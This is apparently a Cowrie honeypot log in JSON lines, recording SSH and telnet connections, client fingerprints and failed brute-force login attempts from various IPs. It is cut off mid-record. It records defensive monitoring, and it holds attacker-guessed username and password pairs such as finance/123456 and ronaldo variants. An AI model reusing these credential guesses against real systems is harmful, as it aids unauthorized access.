{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:03.273908Z","src_ip":"195.178.110.218","session":"3d66b9c0cc27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:04.355363Z","src_ip":"195.178.110.218","session":"3d66b9c0cc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":48290,"dst_ip":"159.203.135.109","dst_port":22,"session":"038a1aeca94b","protocol":"ssh","message":"New connection: 64.227.144.233:48290 (159.203.135.109:22) [session: 038a1aeca94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:35.799011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:35.803288Z","src_ip":"64.227.144.233","session":"038a1aeca94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:36.024482Z","src_ip":"64.227.144.233","session":"038a1aeca94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password","message":"login attempt [test/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:36.471514Z","src_ip":"64.227.144.233","session":"038a1aeca94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:37.694730Z","src_ip":"64.227.144.233","session":"038a1aeca94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":49516,"dst_ip":"10.17.0.5","dst_port":22,"session":"49706a5e241e","protocol":"ssh","message":"New connection: 20.244.95.173:49516 (10.17.0.5:22) [session: 49706a5e241e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:47:19.903629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:47:19.907777Z","src_ip":"20.244.95.173","session":"49706a5e241e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:47:20.119138Z","src_ip":"20.244.95.173","session":"49706a5e241e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"Passw0rd","message":"login attempt [scan/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:47:20.543402Z","src_ip":"20.244.95.173","session":"49706a5e241e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:47:21.756988Z","src_ip":"20.244.95.173","session":"49706a5e241e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":57974,"dst_ip":"159.203.135.109","dst_port":22,"session":"599451fb00a2","protocol":"ssh","message":"New connection: 159.65.30.211:57974 (159.203.135.109:22) [session: 599451fb00a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:06.142613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:06.147010Z","src_ip":"159.65.30.211","session":"599451fb00a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:06.215966Z","src_ip":"159.65.30.211","session":"599451fb00a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serena","password":"serena","message":"login attempt [serena/serena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:06.356756Z","src_ip":"159.65.30.211","session":"599451fb00a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:07.428177Z","src_ip":"159.65.30.211","session":"599451fb00a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":37024,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d1972aaf1c6","protocol":"ssh","message":"New connection: 135.181.101.111:37024 (10.17.0.5:22) [session: 8d1972aaf1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:36.690628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:36.695423Z","src_ip":"135.181.101.111","session":"8d1972aaf1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:36.804015Z","src_ip":"135.181.101.111","session":"8d1972aaf1c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"finance","password":"123456","message":"login attempt [finance/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:37.023312Z","src_ip":"135.181.101.111","session":"8d1972aaf1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:38.133756Z","src_ip":"135.181.101.111","session":"8d1972aaf1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39204,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1a9ca23877","protocol":"ssh","message":"New connection: 195.178.110.218:39204 (159.203.135.109:22) [session: ba1a9ca23877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:55.936647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:55.940758Z","src_ip":"195.178.110.218","session":"ba1a9ca23877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:56.019704Z","src_ip":"195.178.110.218","session":"ba1a9ca23877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:56.258436Z","src_ip":"195.178.110.218","session":"ba1a9ca23877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:48:57.339471Z","src_ip":"195.178.110.218","session":"ba1a9ca23877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14929,"dst_ip":"10.17.0.5","dst_port":22,"session":"f42d31492c23","protocol":"ssh","message":"New connection: 213.209.159.159:14929 (10.17.0.5:22) [session: f42d31492c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:43.221518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:56.198118Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:56.277598Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo","message":"login attempt [ronaldo/ronaldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:56.678557Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo1","message":"login attempt [ronaldo/ronaldo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:57.762280Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo123","message":"login attempt [ronaldo/ronaldo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:58.846630Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo1234","message":"login attempt [ronaldo/ronaldo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:49:59.929599Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ronaldo","password":"ronaldo12345","message":"login attempt [ronaldo/ronaldo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:01.014458Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:02.101065Z","src_ip":"213.209.159.159","session":"f42d31492c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.138.241.243","src_port":60120,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b754712fc2","protocol":"telnet","message":"New connection: 125.138.241.243:60120 (159.203.135.109:23) [session: c6b754712fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:12.474683Z"}
{"eventid":"cowrie.session.closed","duration":13.572338581085205,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:26.046921Z","src_ip":"125.138.241.243","session":"c6b754712fc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":60366,"dst_ip":"159.203.135.109","dst_port":22,"session":"81e98bc9162a","protocol":"ssh","message":"New connection: 20.244.95.173:60366 (159.203.135.109:22) [session: 81e98bc9162a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:43.582127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:50:43.587057Z","src_ip":"20.244.95.173","session":"81e98bc9162a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1